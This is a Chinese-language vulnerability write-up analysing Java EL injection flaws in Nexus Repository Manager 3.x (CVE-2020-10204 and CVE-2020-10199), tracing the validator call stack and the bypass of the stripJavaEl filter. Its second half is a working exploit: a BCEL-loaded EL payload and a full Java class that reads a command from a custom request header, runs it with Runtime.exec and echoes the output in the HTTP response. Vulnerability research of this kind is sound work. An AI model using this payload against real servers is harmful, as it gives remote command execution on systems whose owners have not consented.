漏洞背景
2020年04月02日, 360CERT监测发现 Sonatype Security Team 官方发布了一则关于 Nexus Repository Manager 3.x 的远程代码执行漏洞通告。在通过认证的情况下,攻击者可以通过JavaEL表达式注入造成远程代码执行。
Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。
漏洞定位
CVE-2020-10204
由于官方没有交代任何漏洞细节,于是需要我们自行diff 3.21.1版本和3.21.2版本,经过diff,发现利用点(这里只讨论rce,不讨论xss)。
在org.sonatype.nexus.common.template.EscapeHelper
的stripJavaEl
方法。
这样一看,就是一个CVE-2018-16621
的bypass
了,那么漏洞的构造也比较简单,依照着补丁来构造,就是利用\A
来绕过,这里的A
可以是任意字符。
CVE-2020-10199
Helper Bean检测增加stripJavaEl方法
在org.sonatype.nexus.validation.ConstraintViolationFactory$HelperValidator
CVE-2020-10204(需要管理员权限)
漏洞利用
漏洞分析
漏洞触发的主要原因是在org.sonatype.nexus.security.privilege.PrivilegesExistValidator
或 org.sonatype.nexus.security.role.RolesExistValidator
类中,会对不存在的 privilege
或 role
抛出错误,而在错误信息抛出的时候,会存在一个el
表达式的渲染,会提取其中的el
表达式并执行,从而造成el
表达式注入。
来看一看对role
的检测,这里会调用role
的validator
。
在org.sonatype.nexus.security.role.RolesExistValidator
的isValid
方法。
在这里对role
进行检测。
如果当前Manager
不存在该role
,就会抛出错误,首先进行stripJavaEl
的调用。
el表达式执行
将不存在的role
add
进missing
这个List
里面,然后一路return
到org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree
的validateConstraints
方法,对validate
进行验证。
跟进addConstraintFailure
messageTemplate
就是missing
里的内容,然后调用interpolate
方法。
继续跟进,this.validatorScopedContext.getMessageInterpolator()
返回ResourceBundleMessageInterpolator
对象,跟进interpolateMessage
。
处理missing
的message
。
跟入interpolateExpression
,这里while
循环处理tokenIterator
。
当token获取到{100*100}
时,跟入interpolate
。
实例化InterpolationTerm
。
然后实例化ElTermResolver
。
最后返回执行结果。
调用栈比较复杂,取了部分。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49interpolate:79, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:38, ParameterExecutableValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateMetaConstraints:537, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForNonDefaultGroup:529, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:447, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedAnnotatedObjectForCurrentGroup:629, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraints:590, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParametersInContext:880, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:283, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:235, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal)
invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
intercept:55, InterceptorStackCallback (com.google.inject.internal)
update:-1, UserComponent$$EnhancerByGuice$$a4c055e (org.sonatype.nexus.coreui)
invoke:-1, GeneratedMethodAccessor615 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJavaMethod:142, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
invokeMethod:133, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
invokeMethod:82, ExtDirectDispatcher (org.sonatype.nexus.extdirect.internal)
dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard)
processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router)
processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
...
CVE-2020-10199
该漏洞的最终触发是通过给HelperBean
的message
进行el
表达式注入,从而抛出错误
漏洞利用
普通用户触发。
漏洞分析
看到org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource
类,根据request
调用createRepository
。
跟入父类,也就是org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource
的createRepository
方法。
接着跟入validateGroupMembers
。
在org.sonatype.nexus.validation.ConstraintViolationFactory
。
这里会实例化HelperBean
,message
即为el
注入的内容。
之后会对HelperBean
进行判断,调用isValid
,调用buildConstraintViolationWithTemplate
给messageTemplates
进行赋值,最后执行el表达式方式跟CVE-2020-10204
部分一致。
漏洞修复
参考漏洞定位部分。
回显
利用Thread
获取当前线程的threadLocals
变量,其中有很多都保存着response对象,比如我发现了以下几个
org.eclipse.jetty.server.HttpConnection
com.google.inject.servlet.GuiceFilter$Context
com.softwarementors.extjs.djn.servlet.ssm.WebContext
构造
强烈建议构造的时候用idea
的Evaluate Expression
(反射杀我
WebContext
获取Response1
2
3
4
5
6
7java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);
获取request并设置请求命令参数1
2
3
4
5
6
7
8
9Object valueObject = Thread.currentThread().threadLocals.table[79].value;
java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper.getMethod("getRequest").invoke(statusResponse);
Object request1Real = Wrapper.getMethod("getRequest").invoke(request1);
String hu3sky_command = (String) request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"hu3sky_command"});
GuiceFilter$Context
和WebContext用法类似
1 | Object valueObject = Thread.currentThread().threadLocals.table[79].value; |
HttpConection
1 | Object valueObject = Thread.currentThread().threadLocals.table[205].value; |
生成bcelcode
1 | byte[] bytes = Files.readAllBytes(Paths.get("/Users/hu3sky/IdeaProjects/Ldap/target/classes/Echo_HttpConnection.class")); |
最终通过com.sun.org.apache.bcel.internal.util.ClassLoader
来加载bcel编码过后的类
1 | ${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$' + code).newInstance() |
最终1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41public class Echo_WebContext {
static {
try {
getResponse();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void getResponse() throws Exception {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);
writer.write("by hu3sky");
writer.close();
}
}
}
}
}
}
代码执行
完整代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61public class Echo_WebContext {
static {
try {
getResponse();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void getResponse() throws Exception {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
//获取response
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);
//获取request
java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper2 = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse2 = Wrapper2.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper2.getMethod("getRequest").invoke(statusResponse2);
Object request1Real = Wrapper2.getMethod("getRequest").invoke(request1);
String hu3sky_command = (String) request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"hu3sky_command"});
String sb = "";
java.io.BufferedInputStream in = new java.io.BufferedInputStream(Runtime.getRuntime().exec(hu3sky_command).getInputStream());
java.io.BufferedReader inBr = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
writer.write(sb);
writer.flush();
inBr.close();
in.close();
}
}
}
}
}
}